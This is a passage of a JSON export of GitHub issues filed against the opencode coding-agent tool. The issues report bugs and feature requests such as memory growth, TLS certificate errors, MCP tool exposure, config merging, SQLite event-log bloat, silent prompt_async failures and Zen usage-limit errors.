        "createdAt": "2026-06-13T22:05:29Z",
        "updatedAt": "2026-08-13T02:53:31Z",
        "timestamp": "2026-08-13T02:53:31Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "xlionjuan",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32237",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "/file/content reads can retain filesystem search state",
        "text": "### Description This might be related to #20695. Repeated `/file/content` reads appear to use more memory than expected. In a local reproducible run, plain file reads caused `opencode-serve` RSS (resident set size) to grow by about `523 MB`. The surprising part is that reading file contents seems to go through the cached location services, which can also set up filesystem search state. So a request that only reads one file may end up creating and keeping search data for the wider workspace. I used a local workload harness to generate this result. It creates temporary workspaces, starts `opencode serve`, repeatedly calls `/file/content`, samples `opencode-serve` RSS, and records request latency. The harness is not part of opencode, so the useful reproduction details are the inputs below rather than the exact local command. This issue is only about that specific file read behavior. It may be one piece of the broader memory discussion in #20695, but I do not know if it explains every memory problem there. Observed locally: - OpenCode: local dev build from `origin/dev` at `bf05e8a12` - Runtime: Bun `1.3.14` - OS: Windows 11 Home - Workload: repeated `/file/content` reads - Config: 12 workspaces, 100 steps, 80 files per workspace, 128 KB files - `opencode-serve` RSS delta: `+523.1 MB` - peak RSS: `993.0 MB` - harness finding: `memory.rss-growth` ### Plugins N/A ### OpenCode version local dev build from `origin/dev` at `bf05e8a12` ### Steps to reproduce Using any script or harness that can call a local `opencode serve` process: 1. Create 12 temporary workspaces. 2. Put 80 files in each workspace. 3. Make each file about 128 KB. 4. Start a local dev build of opencode with Bun `1.3.14`. 5. Repeatedly call `/file/content` for 100 steps across those workspaces. 6. Sample the `opencode-serve` process RSS about once per second while the run is active. 7. Compare the RSS before and after the run. ### Screenshot and/or share link N/A ### Operating System Windows 11 Home ### Terminal PowerShell / Windows Terminal",
        "url": "https://github.com/anomalyco/opencode/issues/32237",
        "createdAt": "2026-06-13T23:18:49Z",
        "updatedAt": "2026-08-13T02:53:32Z",
        "timestamp": "2026-08-13T02:53:32Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "hereswilson",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32246",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "When updating agents.md for the qwen3.6 27b model, it always triggers prompt processing at 100%.",
        "text": "### Description qwen3.6 27b model updates to agents.md always trigger prompt processing. I run the model using llama.cpp, and opencode works fine at any time, rarely triggering prompt processing to re-read the context. However, as soon as the agent updates agents.md, it always writes a small piece of content to trigger one prompt processing. At 200k context, each trigger takes 300 seconds. I've tried many methods but couldn't solve it. I tried solving it from the llama.cpp parameters, but it made no difference. My llama.cpp startup command is as follows llama-b9568-bin-win-cuda-13.3-x64\\llama-server.exe -m D:\\unsloth\\27b\\Qwen3.6-27B-UD-Q5_K_XL.gguf --port 15023 --cache-type-k q8_0 --cache-type-v q8_0 -fa on --no-mmap -np 1 --host 0.0.0.0 --mmproj D:\\mmproj-BF16.gguf -t 1 -ngl 999 --main-gpu 0 --sleep-idle-seconds 600 -c 200000 --tensor-split 11,4 --cache-ram 38432 --ctx-checkpoints 24 --keep 4096 -b 8192 --checkpoint-min-step 256 --cache-reuse 1024 --slot-prompt-similarity 0.1 --cont-batching --parallel 1 ### Plugins opencode-supermemory,opencode-skills-collection@latest,context-mode,ecc-universal ### OpenCode version 1.17.6 ### Steps to reproduce 1. There is already an `agents.md`, which detailed records the content of the entire project, all functions, class relationships, etc. 2. Write new features for the project 3. Let the agent update agents.md ### Screenshot and/or share link <img width=\"1645\" height=\"792\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/58fb6f65-f65a-46e3-bfb0-67d5381da450\" /> ### Operating System windows 11 ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/32246",
        "createdAt": "2026-06-14T00:28:52Z",
        "updatedAt": "2026-08-13T02:53:33Z",
        "timestamp": "2026-08-13T02:53:33Z",
        "metrics": {
          "reactions": 1,
          "comments": 2
        },
        "labels": [],
        "author": "qiujunhan",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32250",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "fix(desktop): MiniMax CN fails with certificate error in desktop but works in TUI",
        "text": "﻿## Description The MiniMax CN provider (`api.minimaxi.com`) fails with a certificate error in the desktop app but works perfectly in the TUI. **Error:** `Cannot connect to API: certificate has expired` ## Environment - **OS:** Windows 11 - **OpenCode version:** 1.17.6 - **Provider:** `minimax-cn` (`https://api.minimaxi.com/anthropic/v1`) - **Works in:** TUI (Bun runtime) - **Fails in:** Desktop app (Electron sidecar / Node.js utility process) ## Root Cause Analysis The desktop app's sidecar process runs in Electron's Node.js utility process, which handles TLS differently than the TUI's Bun runtime. ### Key findings: 1. **System `node` connects fine:** Running `node -e \"fetch('https://api.minimaxi.com/anthropic/v1')\"` returns status 404 (connection successful, no cert error). 2. **The sidecar loads system certificates via:** `packages/desktop/src/main/sidecar.ts:111-120`: ```ts function useSystemCertificates() { try { const nodeTls = tls as NodeTlsWithSystemCertificates nodeTls.setDefaultCACertificates([ ...new Set([...nodeTls.getCACertificates(\"default\"), ...nodeTls.getCACertificates(\"system\")]), ]) } catch (error) { console.warn(\"failed to load system certificates\", error) } } ``` This may fail silently or produce a different CA bundle than what the system Node.js uses. 3. **`NODE_TLS_REJECT_UNAUTHORIZED=0` does not propagate:** Setting this env var in a terminal does not reach the Electron utility process when the app is launched via Start menu or shortcut. The sidecar's `createSidecarEnv()` copies `process.env`, but the env var must be set before the main Electron process starts. 4. **WSL works because:** The WSL sidecar runs `opencode serve` as a native Bun process inside Linux, which reads `/etc/ssl/certs` directly — a different and more reliable certificate store than the Electron/Node.js path on Windows. ## Related Issues - #8601 (similar certificate verification errors on Windows) - #2992 (CA invalid on Windows, related to Bun/Node.js TLS differences)",
        "url": "https://github.com/anomalyco/opencode/issues/32250",
        "createdAt": "2026-06-14T01:03:35Z",
        "updatedAt": "2026-08-13T02:53:34Z",
        "timestamp": "2026-08-13T02:53:34Z",
        "metrics": {
          "reactions": 1,
          "comments": 2
        },
        "labels": [],
        "author": "derycklong",
        "state": "closed",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32251",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "opencode pr #<number> parses PR number as NaN",
        "text": "### Description So, i basically ran `opencode pr #992` it resulted in parsing the pr number as NaN and the checkout failed. While `opencode pr 992` works normally, The command should accept a leading #. also its good to note that gh pr checkout #992 and 992 - both works meaning gh cli already supports this. ### Plugins None ### OpenCode version 1.17.4 ### Steps to reproduce 1. Run `opencode pr #992` 2. See error `Fetching and checking out PR #NaN` ### Screenshot and/or share link <img width=\"464\" height=\"151\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/ce6d0421-df7a-40cf-9cf7-72306e9c0fff\" /> ### Operating System Arch Linux ### Terminal Ghostty",
        "url": "https://github.com/anomalyco/opencode/issues/32251",
        "createdAt": "2026-06-14T01:10:38Z",
        "updatedAt": "2026-08-13T02:53:36Z",
        "timestamp": "2026-08-13T02:53:36Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "bupd",
        "state": "closed",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32459",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]:Grok 4.3 reasoning levels",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Grok 4.3 in OpenCode currently has no reasoning levels. Grok 4.3 on API has none/low/medium/high, hopefully this would work with OAuth as well Thanks!",
        "url": "https://github.com/anomalyco/opencode/issues/32459",
        "createdAt": "2026-06-15T16:47:40Z",
        "updatedAt": "2026-08-12T22:19:25Z",
        "timestamp": "2026-08-12T22:19:25Z",
        "metrics": {
          "reactions": 1,
          "comments": 1
        },
        "labels": [],
        "author": "nathanielstam05-ctrl",
        "state": "closed",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:32571",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Error: Unexpected error  disk I/O error",
        "text": "### Description [chris@worksoul:/vmTmp/git-repos/DevDashboard/1UGMsy6K]$ opencode --log-level DEBUG debug config Error: Unexpected error disk I/O error [chris@worksoul:/vmTmp/git-repos/DevDashboard/1UGMsy6K]$ opencode --version 1.17.7 ### Plugins _No response_ ### OpenCode version 1.17.7 ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System Nixos ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/32571",
        "createdAt": "2026-06-16T14:56:59Z",
        "updatedAt": "2026-08-13T01:23:14Z",
        "timestamp": "2026-08-13T01:23:14Z",
        "metrics": {
          "reactions": 0,
          "comments": 6
        },
        "labels": [],
        "author": "chrissound",
        "state": "open",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:33027",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[BUG] MCP tools connected but not exposed to agent",
        "text": "### Description # [BUG] MCP tools connected but not exposed to agent ## Description MCP server `pdfrag` connects successfully and exposes 6 tools via `tools/list`, but the tools do not appear in the agent's available tool list. The server is working correctly (responds to MCP protocol, tools are valid), but something in the opencode pipeline isn't passing those tools to the agent. ## Steps to Reproduce 1. Create a custom MCP server (Python, stdio transport) 2. Register in `~/.config/opencode/opencode.json`: ```json \"mcp\": { \"pdfrag\": { \"type\": \"local\", \"command\": \"/Library/Frameworks/Python.framework/Versions/3.14/bin/pdfrag-mcp\" } } ``` 3. Run `opencode mcp list` → shows \"connected\" with green checkmark 4. Start opencode session → tools NOT available to agent ## Expected Behavior MCP tools should be available as first-class tools in the agent session after successful connection. ## Actual Behavior - Server connects successfully - `opencode mcp list` shows \"connected\" - MCP protocol handshake works (initialize, tools/list returns 6 valid tools) - Tools do NOT appear in agent's available tool list - Agent cannot call MCP tools ## Investigation 1. **Server works correctly**: Verified with Python MCP client - server responds to `initialize`, `tools/list`, and tool calls 2. **Server format matches working servers**: Compared with `token-optimizer` and `lean-ctx` servers - same structure, capabilities, and tool definitions 3. **No error logs**: opencode logs show no errors related to pdfrag 4. **opencode binary is compiled**: Cannot inspect source directly, but binary analysis shows MCP tool registration code exists ## Similar Issue Found similar issue on hermes-agent: [#41625](https://github.com/NousResearch/hermes-agent/issues/41625) - \"MCP tools discovered but not exposed to agent in TUI mode\" The suspected cause there is a race condition in the TUI startup path with a timeout that's too short for MCP discovery. ## Environment - OpenCode version: 1.17.8 - OS: macOS (darwin) - Python: 3.14 - MCP transport: stdio (local subprocess) ## Workaround Use CLI or Python direct calls: ```bash python3 pdf_rag.py query \"question\" ``` ## Request Please investigate why MCP tools are not being exposed to the agent despite successful connection. This may be related to: - Race condition in tool discovery (similar to hermes-agent #41625) - Tool filtering logic - Agent tool context initialization ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/33027",
        "createdAt": "2026-06-19T20:09:41Z",
        "updatedAt": "2026-08-12T23:19:22Z",
        "timestamp": "2026-08-12T23:19:22Z",
        "metrics": {
          "reactions": 3,
          "comments": 7
        },
        "labels": [],
        "author": "userX570",
        "state": "open",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:33053",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: skills (paths/urls) are overridden instead of merged across layered `opencode.json` configurations",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request When using layered configuration files (e.g., a global configuration in `~/.config/opencode/` and a local project configuration in `.opencode/opencode.json`), defining `skills` in a higher-priority file completely overwrites the `skills` defined in lower-priority files, rather than concatenating them. This design feels highly counter-intuitive. It prevents users from inheriting global, general-purpose skills while appending project-specific skills. **Root Cause Analysis** Based on the current configuration discovery and merge implementation in `packages/core`, specifically in `src/config.ts`: ```typescript export function latest<K Info extends keyof>(entries: readonly Entry[], key: K): Info[K] | undefined { return entries .filter((entry): entry is Document => entry.type === \"document\") .findLast((entry) => entry.info[key] !== undefined)?.info[key] } ``` The merge strategy strictly picks the `latest` defined key. Since `skills` is resolved this way, a local `skills` definition will completely shadow the global one. While I noticed that `paths` and `urls` are concatenated during the v1 to v2 migration phase (`info.skills && [...(info.skills.paths ?? []), ...(info.skills.urls ?? [])]`), this only applies *within a single configuration file*, not across the configuration hierarchy. **Expected behavior** For extensible arrays like `skills` (or `skills.paths` / `skills.urls`), the configuration merger should perform a concatenation (merge) rather than a replacement. If a user has 3 global skills in `~/.config/opencode/opencode.json` and defines 1 local skill in the project directory, the agent should have access to 4 skills in total. **Why this matters** With the current replacement logic, if a developer wants to add just a single project-specific skill, they are forced to copy-paste all their global skills into the local `opencode.json` file. This defeats the purpose of having layered configurations and makes maintaining a global toolset very tedious. **Suggested Solution** Introduce a deep-merge or array-concatenation strategy specifically for the `skills` property when combining `discovered entries` from different directories, instead of relying on the strict `findLast` override logic.",
        "url": "https://github.com/anomalyco/opencode/issues/33053",
        "timestamp": "2026-08-12T13:47:05Z",
        "metrics": {
          "reactions": 1,
          "comments": 1
        },
        "labels": [],
        "author": "WuJunkai2004",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:issue:33060",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "GitHub Integration with Opencode Zen",
        "text": "### Description Im getting this error when my workflow file runs : ```bash Error: Unexpected error undefined is not an object (evaluating 'p.rest') ``` This is my current workflow file : ```yml name: opencode on: issue_comment: types: [created] pull_request_review_comment: types: [created] permissions: contents: write pull-requests: write issues: write id-token: write jobs: opencode: # Only triggers when someone comments '/oc' or '/opencode' if: | contains(github.event.comment.body, '/oc') || contains(github.event.comment.body, '/opencode') runs-on: ubuntu-latest steps: - name: Checkout repository uses: actions/checkout@v6 with: fetch-depth: 0 persist-credentials: false - name: Run OpenCode via Zen uses: anomalyco/opencode/github@latest env: # Your single OpenCode Zen gateway key OPENCODE_API_KEY: ${{ secrets.OPENCODE_API_KEY }} with: # A Zen-supported model string model: opencode/kimi-k2.5 agent: build # Runs in write-enabled mode to apply code fixes ``` The problem I believe is the OPENCODE_API_KEY , Im not sure if its supported but there has to be a way to use different models than anthropic. Does anyone have docs on this becuase I cannot find it no matter how much I tried on the website. This template was generated via the kimi model on opencode so I trusted it would work but no luck so far. ### Plugins none ### OpenCode version version 1.17.8 ### Steps to reproduce 1. Create a workflow file in a repo for example \".github/workflows/main.yml\" or \".github/workflows/opencode.yml\" 2. Give the yml file this content: ```yml name: opencode on: issue_comment: types: [created] pull_request_review_comment: types: [created] permissions: contents: write pull-requests: write issues: write id-token: write jobs: opencode: # Only triggers when someone comments '/oc' or '/opencode' if: | contains(github.event.comment.body, '/oc') || contains(github.event.comment.body, '/opencode') runs-on: ubuntu-latest steps: - name: Checkout repository uses: actions/checkout@v6 with: fetch-depth: 0 persist-credentials: false - name: Run OpenCode via Zen uses: anomalyco/opencode/github@latest env: # Your single OpenCode Zen gateway key OPENCODE_API_KEY: ${{ secrets.OPENCODE_API_KEY }} with: # A Zen-supported model string model: opencode/kimi-k2.5 agent: build # Runs in write-enabled mode to apply code fixes ``` 3. Register an environment variable in your repository settings with the name OPENCODE_API_KEY 4. Comment on a PR \"/oc\" or \"/opencode\" to trigger github actions and the process will fail ### Screenshot and/or share link <img width=\"2084\" height=\"956\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/e4d46d7d-7c23-4310-94b7-bd52d1f6afc9\" /> ### Operating System This would run on Linux specifically the Ubuntu distro ### Terminal Bash shell",
        "url": "https://github.com/anomalyco/opencode/issues/33060",
        "createdAt": "2026-06-20T07:53:33Z",
        "updatedAt": "2026-08-13T17:06:15Z",
        "timestamp": "2026-08-13T17:06:15Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "FabrzyTech",
        "state": "open",
        "assignees": [
          "fwang"
        ],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:issue:33264",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "credit card declined",
        "text": ".",
        "url": "https://github.com/anomalyco/opencode/issues/33264",
        "createdAt": "2026-06-21T19:19:14Z",
        "updatedAt": "2026-08-13T06:10:15Z",
        "timestamp": "2026-08-13T06:10:15Z",
        "metrics": {
          "reactions": 3,
          "comments": 15
        },
        "labels": [],
        "author": "PanaitAlessandro",
        "state": "closed",
        "assignees": [
          "StarpTech"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:33356",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Unbounded growth of the `event` table: opencode.db reaches 13GB+, mostly `message.updated.1` snapshots (no retention/compaction)",
        "text": "## Summary The local SQLite store (`~/.local/share/opencode/opencode.db`) grows **unbounded** on long-lived instances because the event-sourcing `event` table is never pruned, capped, or compacted. On two of our long-running instances it reached **~13 GB each**, filling a 22 GB volume to 97–99% and eventually producing `sqlite3.OperationalError: database or disk is full` on ordinary queries — the instance becomes effectively unusable. The actual conversation data is tiny by comparison; **>90% of the DB is the event log**, and within it a single event type (`message.updated.1`) dominates. ## Measured breakdown (real instance, 13.7 GB DB) ``` page_size=4096 page_count=3342166 total=13.69 GB freelist_count=18 dead=0.00 GB (0.0%) <- live data, VACUUM does not help ``` Per-table (`sum(length(data))`): | table | rows | size | avg/row | |---------|---------|-----------|---------| | **event** | 141,951 | **12.20 GB** | 83.9 KB | | message | 6,955 | 1.15 GB | 161 KB | | part | 27,775 | 0.07 GB | 2.4 KB | | others | — | ~0 | — | Within `event`, by `type`: | event type | rows | size | avg | |-------------------------------|--------|------------|---------| | **`message.updated.1`** | 26,463 | **11.94 GB** | **440 KB** | | `session.next.tool.success.1` | 7,843 | 0.12 GB | 14.8 KB | | `message.part.updated.1` | 52,644 | 0.10 GB | 1.8 KB | | everything else | ~55k | < 0.3 GB | — | So ~87% of the entire database is `message.updated.1` events. With ~6,955 messages there are ~3.8 `message.updated` events per message, each persisting what looks like a full message snapshot (avg 440 KB), and **all historical snapshots are retained forever**. The same pattern was observed independently on a second instance (also ~13 GB, same `event`-table dominance), so this is reproducible, not a one-off. ## Root cause (confirmed in source, `dev` branch) `packages/core/src/event/sql.ts` — the `event` table has no TTL, no row cap, no size limit, and no compaction column; it just stores every event's full `data` JSON: ```ts export const EventTable = sqliteTable(\"event\", { id: text().$type<EventV2.ID>().primaryKey(), aggregate_id: text().notNull().references(() => EventSequenceTable.aggregate_id, { onDelete: \"cascade\" }), seq: integer().notNull(), type: text().notNull(), data: text({ mode: \"json\" }).$type<Record<string, unknown>>().notNull(), }, ...) ``` `packages/core/src/event.ts` — the **only** delete against `event` is a full-aggregate cascade, used when an entire session/aggregate is removed: ```ts function remove(aggregateID: string) { return db.transaction(() => Effect.gen(function* () { yield* db.delete(EventSequenceTable).where(eq(EventSequenceTable.aggregate_id, aggregateID)).run() yield* db.delete(EventTable).where(eq(EventTable.aggregate_id, aggregateID)).run() })).pipe(Effect.orDie) } ``` There is **no partial pruning** — nothing collapses superseded `message.updated.*` snapshots, keeps only the latest per message, caps per-aggregate history, or stores deltas. `packages/opencode/src/sync/README.md` confirms this is an intentional append-only log \"for session replayability.\" That's a reasonable design goal, but with full-snapshot `message.updated` events and no retention it means every session's event history accumulates for the lifetime of the session, with no upper bound. `SessionCompaction.prune` does **not** address this — it trims context tokens sent to the model, not persisted `event` rows. ## Impact - Disk exhaustion on long-lived instances (containers/sandboxes/servers with persistent home dirs). - Once the volume is full, even read queries that need temp space fail with `database or disk is full`. - `VACUUM` cannot reclaim it (freelist ≈ 0%; it is all live data). The only current remediation is deleting whole sessions (cascade) or manually `DELETE FROM event ...`. ## Suggested fixes (any one would help) 1. **Compact superseded snapshots**: for snapshot-style events like `message.updated.*`, retain only the latest event per `(aggregate_id, message_id)` (or per message `seq`), deleting older ones — newer fully supersedes older. 2. **Store deltas instead of full snapshots** for `message.updated` (the README already notes `session.updated` was moved to fields-only; `message.updated` appears to still carry a full snapshot). 3. **Per-aggregate retention cap / periodic compaction** of the event log for inactive/completed sessions. ## Environment - Observed on builds in the 1.15.x–1.17.x range; root cause confirmed present on `dev` (current `latest`, 1.17.9) via the source above. - SQLite store at `~/.local/share/opencode/opencode.db`. Happy to provide the full per-session breakdown or a repro script if useful.",
        "url": "https://github.com/anomalyco/opencode/issues/33356",
        "createdAt": "2026-06-22T11:41:29Z",
        "updatedAt": "2026-08-13T06:28:17Z",
        "timestamp": "2026-08-13T06:28:17Z",
        "metrics": {
          "reactions": 5,
          "comments": 17
        },
        "labels": [
          "2.0"
        ],
        "author": "rustyaos",
        "state": "open",
        "assignees": [
          "kitlangton",
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:33394",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "prompt_async returns 204 after startup failure, leaving empty child sessions that appear frozen",
        "text": "## Summary Delegated/subagent sessions can be created successfully, then remain permanently empty while the caller/UI keeps polling them. The immediate trigger I observed was the known `session_message.seq` insertion bug, but the user-visible failure is broader: `POST /session/{id}/prompt_async` can fail during startup, publish/log `session.error`, still return HTTP 204, and leave a valid child session with **zero** user/assistant messages. That makes delegation features look frozen: the child session exists, `/session/{id}/message` returns 200 with an empty list, and monitors/tools keep waiting for messages that will never be written. Related existing reports/fix: - #31204 - #31413 - #31419 Those cover the `session_message.seq` crash itself. This issue is about the higher-level API/state behavior that turns a startup failure into a silent, empty, frozen child session. ## Environment observed - OpenCode version reported by CLI: `1.14.48` - OS: macOS / darwin arm64 - Delegation plugin in use: `oh-my-openagent` - Local DB: `~/.local/share/opencode/opencode.db` - Local server logs: `~/.local/share/opencode/log/2026-06-22T143351.log` ## What happened A parent session launched five delegated child sessions. Each child session row was created with a parent ID, title, directory, and model, but no message rows or parts were ever written. Example affected child sessions: ```text ses_1103540cfffe3v9MYa17MzZnc1 GDD Angle spine (@NeoAgent (Builder) subagent) ses_110354087ffeubDsuGjBMTETWX GDD social LLM (@NeoAgent (Builder) subagent) ses_110354060ffe40fMS6hHJlilGS GDD input feel rooms (@NeoAgent (Builder) subagent) ses_110354044ffevRr4Bva6HfVaXQ Engine Angle docs (@Odin (Builder) subagent) ses_110353ffbffe1F9p3vKXuus3Ze Angle spec capture (@Odin (Builder) subagent) ``` DB state for those sessions: ```text session row: present parent_id: present message rows: 0 part rows: 0 session_message rows: 0 ``` The logs show the important failure mode. For each child session, OpenCode logged `prompt_async failed [object Object]` and published `session.error`, but the HTTP request still returned 204: ```text POST /session/ses_1103540cfffe3v9MYa17MzZnc1/prompt_async ERROR prompt_async failed [object Object] service=bus type=session.error publishing POST /session/ses_1103540cfffe3v9MYa17MzZnc1/prompt_async 204 ``` After that, the server/UI continued polling: ```text GET /session/ses_1103540cfffe3v9MYa17MzZnc1/message 200 GET /session/ses_110354087ffeubDsuGjBMTETWX/message 200 ... ``` Those message responses were empty indefinitely because the initial user message was never persisted. ## Why this is especially confusing There are several inconsistent surfaces after the startup failure: 1. The child session exists in the DB. 2. `GET /session/{child}/message` succeeds, but returns no messages. 3. The original `prompt_async` HTTP call returned 204 even though startup failed. 4. `session.error` is only visible through logs/bus, not through the prompt caller as an actionable failure. 5. Some list-based SDK/plugin code treats child sessions as nonexistent because `session.list()` does not include them even though direct `session.get(id)`/`session.messages(id)` can work for real child sessions. So downstream tools see either: - “session exists but has no messages, keep polling”, or - “session not found”, depending on whether they use list-based existence checks or direct message lookup. Both obscure the real failure. ## Root cause observed There appear to be two layers: ### 1. Immediate trigger: `session_message.seq` null/NOT NULL failure The empty child sessions were created seconds before applying a local workaround for the known `session_message.seq` issue. This matches #31204/#31413/#31419. In the failing path, message/session projection insertion can fail before any user message is persisted. That leaves the newly-created child session shell without messages. ### 2. Higher-level bug: prompt startup failure is not propagated to the caller/session state Even after the internal `prompt_async` startup failed, the HTTP layer returned 204. That means callers interpret the prompt as accepted and enter their polling loop. A delegated session needs a startup invariant: > If `prompt_async` returns accepted/success, at least the initial user message should be durably visible, or the session should be durably marked failed. Currently, a third state is possible: ```text session created prompt failed before first message persisted HTTP returned 204 no durable message/error visible to polling clients ``` That is the frozen-empty state. ## Expected behavior If `prompt_async` fails before persisting the initial user message, one of these should happen: 1. `POST /session/{id}/prompt_async` returns a non-2xx error with the underlying failure, or 2. the session is durably marked failed/error and exposed through session status/messages, or 3. an error message/part is appended to the session so clients polling messages can terminate with a visible failure. Any of these would be much better than a 204 plus an empty message stream. ## Actual behavior `prompt_async` logs/publishes an error but returns 204. The child session remains queryable and empty. Delegation monitors continue polling until their own timeout/abort logic, making the feature appear frozen. ## Proposed fix ### A. Fix the known `session_message.seq` projection bug Merge or extend #31419: - Treat `event.seq == null` as missing, not just `undefined`. - Ensure every `session_message` insert gets a valid per-session `seq`. - Add a regression test around `session.next.agent.switched` and any `appendMessage` paths that create projection rows. I would also consider a migration/backfill/default safeguard so a future missed insert path cannot take down message startup entirely. ### B. Make `prompt_async` startup atomic or visibly failed Add a guard around the startup path: - after creating the session and before returning 204, ensure the initial user message was persisted; or - if the async worker is intentionally fire-and-forget, persist a startup-failed state/error when message creation fails. The key contract should be: ```text 204/accepted => callers can observe at least one new message or a running state startup failure => non-2xx response or durable session error ``` Do not let the API return accepted while leaving no observable message/error state. ### C. Expose child session existence consistently If `session.get(id)` and `session.messages(id)` can address child sessions, list-based existence checks need a reliable way to discover them too. Options: - include child sessions in `session.list()` with `parentID`, or - add/document `includeChildren=true`, or - provide/document `session.get(id)` as the correct existence check and avoid list-only existence assumptions in SDK helpers. This is not the primary crash, but it compounds the freeze by causing some tooling to report “Session not found” for real child sessions. ### D. Tests that would catch this Suggested regression tests: 1. Force `appendMessage`/projection insert failure during `prompt_async` startup and assert the HTTP caller does not receive a successful accepted response without a durable session error. 2. Create a child session, trigger startup failure, and assert `/session/{id}/message` does not remain silently empty forever without an error/status signal. 3. Create a normal child session with messages and assert direct `session.get(id)`/`session.messages(id)` and the intended listing/discovery API agree on its existence. 4. Regression for #31204/#31413: `session.next.agent.switched` writes `session_message.seq` correctly when `event.seq` is null. ## Local workaround used for confirmation I locally worked around the DB constraint issue and added plugin-side bootstrap checks so delegation no longer polls forever: - after dispatching a delegated prompt, poll `session.messages(id)` briefly; - if no new user/assistant message appears, treat startup as failed immediately; - for session reading, use direct `session.messages(id)`/`session.get(id)` instead of rejecting child sessions based only on `session.list()`. That workaround made the symptoms explicit: - completed delegated children can be read again; - old zero-message child shells now report “No messages found” instead of appearing frozen/missing; - new delegation smoke test completes normally. The durable fix should be in OpenCode core/API so plugin/tooling authors do not each need to implement their own bootstrap-detection workaround.",
        "url": "https://github.com/anomalyco/opencode/issues/33394",
        "createdAt": "2026-06-22T16:27:10Z",
        "updatedAt": "2026-08-13T10:02:36Z",
        "timestamp": "2026-08-13T10:02:36Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "DanRioDev",
        "state": "open",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:33495",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[BUG] Zen balance does not remove free usage cap; paid users still hit 200-request/free usage limit",
        "text": "### Description Users with an active OpenCode Zen balance are still being limited as if they are free-tier users. I tested this with two separate users/accounts. One account had a Zen balance of at least $20, but both accounts still hit the same free usage cap / 200 request limit and received 429 rate-limit errors. The paid/balance-enabled account did not appear to get any higher allowance or fallback to paid Zen balance. This looks like the free usage limiter is being applied before checking whether the account has Zen balance / billing enabled. Expected behavior: * Accounts without billing/balance should be limited by the free usage cap. * Accounts with Zen balance should either: * use the paid Zen balance after the free cap is reached, or * not receive the same free-tier-only limit. * The error should make clear whether this is a free quota limit, Go usage limit, monthly spend limit, provider limit, or Zen balance issue. Actual behavior: * Both free and paid/balance-enabled users hit the same limit. * The paid account still receives HTTP 429 / `FreeUsageLimitError`. * Adding $20 balance does not appear to remove or bypass the free usage cap. Sanitized example error: ```json { \"statusCode\": 429, \"error\": { \"type\": \"FreeUsageLimitError\", \"message\": \"Rate limit exceeded. Please try again later.\" } } ``` This is confusing because Zen is documented as pay-per-request after adding balance, but the account still behaves like an unpaid/free account. ### Plugins None ### OpenCode version 1.17.7 Please confirm if needed; this was observed from the client/user-agent during testing. ### Steps to reproduce 1. Create or use an OpenCode Zen account with at least $20 balance. 2. Use a Zen/free model such as `deepseek-v4-flash-free` or another Zen free model. 3. Send requests until the free usage cap is reached. 4. Observe that the account still receives `FreeUsageLimitError` / HTTP 429. 5. Repeat with another user/account without balance. 6. Compare behavior: both accounts appear to receive the same 200-request/free usage cap 